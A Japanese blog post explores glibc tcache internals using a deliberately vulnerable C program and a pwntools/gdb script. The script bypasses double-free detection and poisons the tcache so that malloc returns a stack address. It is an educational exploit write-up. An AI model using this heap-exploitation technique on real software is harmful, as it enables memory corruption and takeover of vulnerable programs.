以下の内容はhttps://rsk0315.hatenablog.com/entry/2025/01/12/175035より取得しました。


tcache bins となかよく

なかよく(いろいろな解釈)

今日の遊び相手は glibc malloc ちゃんです。 今回はちゃんとした解説を目指した記事ではないです。

sourceware.org

なかよし

コードを読んだり、下記のコードから作った脆弱な実行ファイルを使ったりしながら挙動を見ていきます。

脆弱なコードちゃん

#include <stdio.h>
#include <stdlib.h>

enum {
  SIZE = 100,
};

void ignore() { scanf("%*c"); }

void scan_len(size_t* p) {
  printf("int? ");
  scanf("%zu", p);
  ignore();
}

void scan_str(unsigned char* p, size_t d) {
  printf("string? ");
  for (size_t i = 0; i < d; ++i) {
    scanf("%c", &p[i]);
  }
  ignore();
}

void print_str(unsigned char* p, size_t d) {
  printf("string: ");
  for (size_t i = 0; i < d; ++i) {
    printf("%c", p[i]);
  }
  printf("\n");
}

void vuln(void) {
  size_t i = 0;
  size_t len[SIZE] = {};
  unsigned char* str[SIZE] = {};
  printf("str: %p\n", str);
  char op;
  while (printf("op? "), scanf(" %c%*c", &op) == 1) {
    switch (op) {
    case '+':
      if (i < SIZE) {
        scan_len(&len[i]);
        str[i] = malloc(len[i]);
        scan_str(str[i], len[i]);
        ++i;
      }
      break;
    case '-': {
      size_t d;
      scan_len(&d);
      free(str[d]);
    } break;
    case '~': {
      size_t d;
      scan_len(&d);
      scan_str(str[d], len[d]);
    } break;
    case '@': {
      size_t d;
      scan_len(&d);
      print_str(str[d], len[d]);
    } break;
    case '.':
      return;
    default:
    }
  }
}

int main(void) {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  vuln();
  puts("done");
}

pwndbg/pwndbg を使ったりします。

とりあえず malloc

[*] malloc(0x38), b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa'
(gdb) tcachebins
tcachebins
empty

(gdb) p tcache->entries[2]
$1 = (tcache_entry *) 0x0

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0xfffffffffffffff0: Cannot access memory at address 0xfffffffffffffff0

malloc() だけした時点では tcache entry は NULL のままです。

とりあえず free

[*] free(0)
(gdb) tcachebins
tcachebins
0x40 [  1]:  0x5555555592a0 ◂— 0

(gdb) p tcache->entries[2]
$2 = (tcache_entry *) 0x5555555592a0

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0x555555559290: 0x0000000000000000  0x0000000000000041
0x5555555592a0: 0x0000000555555559  0x30232822102e0fcf
0x5555555592b0: 0x6161616661616165  0x6161616861616167
0x5555555592c0: 0x6161616a61616169  0x6161616c6161616b
0x5555555592d0: 0x6161616e6161616d  0x0000000000020d31

free() をすると(malloc() のサイズがそういう感じなので)tcache に入ります。

typedef struct tcache_entry {
  struct tcache_entry *next;
  uintptr_t key;
} tcache_entry;
#define PROTECT_PTR(pos, ptr) ((__typeof(ptr))((((size_t)pos) >> 12) ^ ((size_t)ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)

tcache->entries[2] が指している 0x5555555592a0 にあるポインタ next == 0x555555559 は、

((0x5555555592a0 >> 12) ^ 0x555555559) == 0

を意味します。また、key == 0x30232822102e0fcf は(実行ごとに固定の)乱数で、free() した chunk が tcache bins に入ったときに付与されます。 これは、free() が二重で行われようとするのを検知するために使われています。

Use after free

ということで、この子を書き換えることで、もう一度 free() できるようになります。

note: 書き換えなかった場合、バレて free(): double free detected in tcache 2 と言われて abort します。

脆弱性の観点で言えば、free() した後は malloc() で持ってきたアドレスには、ライブラリ内部で使っている値が書かれているので、それが漏れたり書き換えられたりするとよくないわけですね。

[!] .[0] = b'YUUU\x05\x00\x00\x00\xce\x0f.\x10"(#0oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaa'
(gdb) tcachebins
tcachebins
0x40 [  1]:  0x5555555592a0 ◂— 0

(gdb) p tcache->entries[2]
$3 = (tcache_entry *) 0x5555555592a0

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0x555555559290: 0x0000000000000000  0x0000000000000041
0x5555555592a0: 0x0000000555555559  0x30232822102e0fce
0x5555555592b0: 0x616161706161616f  0x6161617261616171
0x5555555592c0: 0x6161617461616173  0x6161617661616175
0x5555555592d0: 0x6161617861616177  0x0000000000020d31

(cyclic の部分は適当にやっていますが)next の部分は書き換えていないので、まだ tcache->entries[2] にはバレていません。

Double free

さて、free() しちゃいましょう。

[*] free(0)
(gdb) tcachebins
tcachebins
0x40 [  2]:  0x5555555592a0 ◂— 0x5555555592a0

(gdb) p tcache->entries[2]
$4 = (tcache_entry *) 0x5555555592a0

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0x555555559290: 0x0000000000000000  0x0000000000000041
0x5555555592a0: 0x000055500000c7f9  0x30232822102e0fcf
0x5555555592b0: 0x616161706161616f  0x6161617261616171
0x5555555592c0: 0x6161617461616173  0x6161617661616175
0x5555555592d0: 0x6161617861616177  0x0000000000020d31

なんか怪しくなってきました。

static __always_inline void tcache_put(mchunkptr chunk, size_t tc_idx) {
  tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
  e->key = tcache_key;
  e->next = PROTECT_PTR(&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

下記のように値が入ります。

e->next = PROTECT_PTR(0x5555555592a0, 0x5555555592a0)
        = 0x55500000c7f9
tcache->entries[2] = 0x5555555592a0

PROTECT_PTR はあくまでエンコード側の問題で、要するに e->next が指すものが 0x5555555592a0 になったというのが大事ですね。

tcache poisoning

続いて、next を書き換えちゃいましょう。0x7fffffffe530 を指していることにしてみます。 入れたい値は 0x7ffaaaaab069 で、バイト列としては b'i\xb0\xaa\xaa\xfa\x7f\x00\x00' です。

[!] .[0] = b'i\xb0\xaa\xaa\xfa\x7f\x00\x00\xcf\x0f.\x10"(#0yaaazaabbaabcaabdaabeaabfaabgaabhaabiaab'
(gdb) tcachebins
tcachebins
0x40 [  2]:  0x5555555592a0 —▸ 0x7fffffffe530 ◂— 0x7ffffffc6 /* '8' */

(gdb) p tcache->entries[2]
$5 = (tcache_entry *) 0x5555555592a0

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0x555555559290: 0x0000000000000000  0x0000000000000041
0x5555555592a0: 0x00007ffaaaaab069  0x30232822102e0fcf
0x5555555592b0: 0x6261617a61616179  0x6261616362616162
0x5555555592c0: 0x6261616562616164  0x6261616762616166
0x5555555592d0: 0x6261616962616168  0x0000000000020d31

0x7fffffffe530 のアドレスには 0x38 が入っていたので、これを REVEAL_PTR に通せば 0x7ffffffc6 ということになります。 cf. pwndbg/chain.py

さて、malloc() することで tcache bins から chunk を持ってきましょう。

[*] malloc(0x38), b'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaab'
(gdb) tcachebins
tcachebins
0x40 [  1]:  0x7fffffffe530 ◂— 0x7ffffffc6 /* '8' */

(gdb) p tcache->entries[2]
$6 = (tcache_entry *) 0x7fffffffe530

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0x7fffffffe520: 0x2b00000000000000  0x0000000000000000
0x7fffffffe530: 0x0000000000000038  0x0000000000000038
0x7fffffffe540: 0x0000000000000000  0x0000000000000000
0x7fffffffe550: 0x0000000000000000  0x0000000000000000
0x7fffffffe560: 0x0000000000000000  0x0000000000000000

関連するのは下記のあたりで、

static __always_inline void *tcache_get_n(size_t tc_idx, tcache_entry **ep) {
  tcache_entry *e;
  if (ep == &(tcache->entries[tc_idx]))
    e = *ep;
  else
    e = REVEAL_PTR(*ep);

  if (__glibc_unlikely(!aligned_OK(e)))
    malloc_printerr("malloc(): unaligned tcache chunk detected");

  if (ep == &(tcache->entries[tc_idx]))
    *ep = REVEAL_PTR(e->next);
  else
    *ep = PROTECT_PTR(ep, REVEAL_PTR(e->next));

  --(tcache->counts[tc_idx]);
  e->key = 0;
  return (void *)e;
}

static __always_inline void *tcache_get(size_t tc_idx) {
  return tcache_get_n(tc_idx, &tcache->entries[tc_idx]);
}

実行されているのは下記のような感じです。

tcache_entry **ep = &tcache->entries[tc_idx];
tcache_entry *e = REVEAL_PTR(*ep);
*ep = PROTECT_PTR(ep, REVEAL_PTR(e->next));
--(tcache->counts[tc_idx]);
e->key = 0;
return (void *)e;

*ep == tcache->entries[tc_idx]e->next(をエンコードしたもの)を入れることができています。

もう一声。

[*] malloc(0x38), b'8\x00\x00\x00\x00\x00\x00\x008\x00\x00\x00\x00\x00\x00\x00\x90\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
(gdb) tcachebins
tcachebins
0x40 [  0]:  0x7ffffffc6

(gdb) p tcache->entries[2]
$7 = (tcache_entry *) 0x7ffffffc6

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0x7ffffffb6:    Cannot access memory at address 0x7ffffffb6

(gdb) x/6a $rsp+0x30+800
0x7fffffffe850: 0x5555555592a0  0x5555555592a0
0x7fffffffe860: 0x7fffffffe530  0x0
0x7fffffffe870: 0x0 0x0

malloc() したポインタたちを持っている配列を見るに、たしかに 0x7fffffffe530 が手に入っていることがわかります。

ふりかえり

さっきのは下記のような流れでやっています。

malloc(size)
free(0)
fd, key = map(u64, (lambda s: [s[:8], s[8:]])(leak(0)[:16]))
tamper(0, flat(p64(fd), p64(key ^ 1), next_cyclic(size - 0x10)))
free(0)
tamper(0, flat(p64(fd ^ target_addr), p64(key), next_cyclic(size - 0x10)))
malloc(size)
malloc(size, flat(p64(0x38), p64(0x38), p64(800 + 800 + 0x50), b"\0" * (size - 0x18)))

下記のようにすると、free(0) をした段階で e->next がまともに戻されてしまうのでだめそうです。

-tamper(0, flat(p64(fd), p64(key ^ 1), next_cyclic(size - 0x10)))
+tamper(0, flat(p64(fd ^ target_addr), p64(key ^ 1), next_cyclic(size - 0x10)))
 free(0)

また、(target_addr & 0xF) == 0x0 でない場合、malloc(): unaligned tcache chunk detected と言われて abort します。

コード全体

import re
import sys

from pwn import *

prompt = b"pwndbg> "
cyclic_buf = iter(cyclic())


def next_cyclic(n):
    global cyclic_buf
    return bytes(next(cyclic_buf) for _ in range(n))


def malloc(size: int, data=None):
    p.clean()
    p.sendline(b"c")
    p.sendline(b"+")
    p.sendline(f"{size}".encode())
    if data is None:
        data = next_cyclic(size)
    p.info(f"malloc({size:#x}), {data}")
    p.sendline(data)
    p.recvuntil(prompt)


def free(index: int):
    p.clean()
    p.sendline(b"c")
    p.sendline(b"-")
    p.sendline(f"{index}".encode())
    p.info(f"free({index})")
    p.recvuntil(prompt)


def leak(index: int) -> bytes:
    p.sendline(b"c")
    p.sendline(b"@")
    p.clean()
    p.sendline(f"{index}".encode())
    p.recvuntil(b"string: ")
    return p.recvuntil(b"\n\nBreakpoint 1,", drop=True)


def tamper(index: int, data: bytes):
    p.clean()
    p.sendline(b"c")
    p.sendline(b"~")
    p.sendline(f"{index}".encode())
    p.warn(f".[{index}] = {data}")
    p.sendline(data)
    p.recvuntil(prompt)


def e(comm: bytes):
    p.clean()
    p.sendline(comm)
    print("(gdb)", comm.decode())
    print(p.recvuntil(prompt, drop=True).decode())


def check():
    e(b"tcachebins")
    e(b"p tcache->entries[2]")
    e(b"x/10gx (void*)tcache->entries[2]-0x10")


breakaddr = 0x0000555555555419

p = process("gdb heap-bins", shell=True, stderr=sys.stderr)
p.recvuntil(prompt)

p.sendline(f"b *{breakaddr:#x}".encode())
p.sendline(b"r")

p.recvuntil(b"str: ")
str_addr = int(p.recvline()[:-1], 16)
print(f"str_addr: {str_addr:#x}")
target_addr = str_addr - 8 * 100


size = 0x38

malloc(size)
check()

free(0)
check()
fd, key = map(u64, (lambda s: [s[:8], s[8:]])(leak(0)[:16]))
chunk = fd << 12 | 0x2A0

tamper(0, flat(p64(fd), p64(key ^ 1), next_cyclic(size - 0x10)))
check()

free(0)
check()

tamper(0, flat(p64(fd ^ target_addr), p64(key), next_cyclic(size - 0x10)))
check()

malloc(size)
check()

malloc(size, flat(p64(0x38), p64(0x38), p64(800 + 800 + 0x50), b"\0" * (size - 0x18)))
check()
e(b"x/6a $rsp+0x30+800")

おきもち

言語仕様というかライブラリ側の視点で言えば、「そういうポインタを使った場合の動作は未定義です」で、コードの書き手側への教えとしては「そういうコードは書かないように気をつけようね〜」という感じになるのがよくある話かなぁと思うのですが、攻撃側の視点で「実際に中でどうなっていて、どうすればめちゃくちゃにできるのかな〜」と考えるのは面白そうです(これは CTF 全般に言えることかも)。

規格では “A translation unit shall not ...” とは書かれていても “You shall not write ...” のような言い方はされていないわけで、学習用に(再現性がない前提とかはわかった上で)未定義動作のコードを書くのはもっとやっていいんじゃないかなと思っています。 これは、「学習用・自分用のおもちゃプログラムであれば未定義動作が書かれていてもいいでしょ」という意味ではないです。 「未定義動作を踏んでても大丈夫だよね」に慣らすのではなくて「未定義動作を踏んだときにこうなる可能性もありうるよね」という部分で遊ぶのもいいよねという話です。前者を勧める人は勘弁してほしいです。

tcache bins に関してはお手軽に exploit できそうだったので遊んでいましたが、それ以外の bin たちについてはまだよくわかっていないので、また遊ぼうと思います。 大枠の流れ(どういう bin があって、どういう操作をするとどの bin に入って、とか)や、遊び方(どこになんのアドレスが入っていて、どう辿ると内部状態を知れるのか、とか)はなんとなくわかったような気がしています。

競プロ文脈で「結局 malloc() とか(あるいは std::vector とか)ってどうなってんの?」という話は、界隈でもちょこちょこ出たり出なかったりしていた記憶はありますが、ここ最近はあまり見ないような気がします。 そもそも C でやっている人自体が少ししかいなさそうなのと、最近は特に若者の低レイヤー離れの流れがあるかもしれません?

競プロ er 向けに低レイヤーの malloc() とかの解説記事めいたものを書く予定はないですが、気が変わる可能性もあります。 以前書いた「計算量や big-O の話」「浮動小数点数や誤差の話」のように、多くの人々が避けていたり雰囲気で扱っていたりしてまともな知見が共有されていないようなトピックを漁りたいという気持ちはあります。

おわり

おわりです。




以上の内容はhttps://rsk0315.hatenablog.com/entry/2025/01/12/175035より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14